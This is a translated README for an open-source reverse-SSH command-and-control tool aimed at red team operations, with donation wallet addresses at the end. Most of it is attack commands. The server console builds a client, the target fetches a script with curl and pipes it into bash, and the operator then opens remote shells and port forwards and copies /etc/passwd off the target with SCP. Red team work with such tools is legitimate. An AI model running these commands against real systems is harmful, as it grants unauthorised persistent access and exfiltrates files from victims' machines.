
Инструмент управления обратными оболочками на основе SSH с поддержкой SCP/SFTP, несколькими транспортными протоколами, генерацией DLL для Windows и бесфайловым выполнением для операций red team.

(Иллюстрация: https://www.instagram.com/smart.hedgehog.art/)
Хотите использовать SSH для reverse shell? Теперь это возможно.
SCP и SFTP для получения файлов с ваших целейhttp, websockets, tls и другие +----------------+ +---------+
| | | |
| | +---------+ RSSH |
| Reverse | | | Client |
| SSH server | | | |
| | | +---------+
+---------+ | | |
| | | | |
| Human | SSH | | SSH | +---------+
| Client +-------->+ <-----------------+ |
| | | | | | RSSH |
+---------+ | | | | Client |
| | | | |
| | | +---------+
| | |
| | |
+----------------+ | +---------+
| | |
| | RSSH |
+---------+ Client |
| |
+---------+
https://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1
Рекомендуется использовать контейнерный релиз, так как он включает нужную версию golang и кросс-компилятор для Windows.
# Start the server
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -e SEED_AUTHORIZED_KEYS="<ssh_key>" -v ./data:/data reversessh/reverse_ssh
или docker compose:
services:
reversessh:
image: reversessh/reverse_ssh
ports:
- "3232:2222"
environment:
- EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232
- RSSH_CONSOLE_LABEL=c2.label
- RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL
- SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY}
volumes:
- ./data:/data
# Connect to the server console
ssh your.rssh.server.internal -p 3232
# List all server console commands
catcher$ help
# Build a new client and host it on the in-built webserver
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25
# curl or wget this binary to a target system then execute it,
curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh | bash
# then we can then list what clients are connected
catcher$ ls
Targets
+------------------------------------------+-----------------------------------+
| IDs | Version |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 | |
| dummy.machine | |
| 192.168.0.11:34542 | |
+------------------------------------------+-----------------------------------+
Все команды поддерживают флаг -h для вывода справки.
Затем работают обычные команды ssh — достаточно указать ваш rssh-сервер в качестве jump host.
# Connect to full shell
ssh -J your.rssh.server.internal:3232 dummy.machine
# Start remote forward
ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine
# Start dynamic forward
ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine
# SCP
scp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd .
Более полную документацию можно найти в папке docs. Она включает шпаргалку, руководство по устранению неполадок и многое другое.
Огромная благодарность следующим людям за пожертвования в проект RSSH и за то, что сделали всю эту работу возможной!
chikamobina за щедрые пожертвования!
wrighterase (ctrlzero) за вклад и пожертвования!
Carapace — новозеландская консалтинговая компания в сфере безопасности с чрезвычайно талантливой командой!

Самый простой способ отблагодарить проект RSSH — находить ошибки, открывать запросы на новые функции и рассказывать о нём людям, которым, по вашему мнению, он будет полезен!
Однако, если вы хотите отблагодарить меня напрямую, вы можете сделать это через Github Sponsors или отправив средства на любой из следующих кошельков:
Monero (XMR):
8A8TRqsBKpMMabvt5RxMhCFWcuCSZqGV5L849XQndZB4bcbgkenH8KWJUXinYbF6ySGBznLsunrd1WA8YNPiejGp3FFfPND
Bitcoin (BTC):
bc1qm9e9sfrm7l7tnq982nrm6khnsfdlay07h0dxfr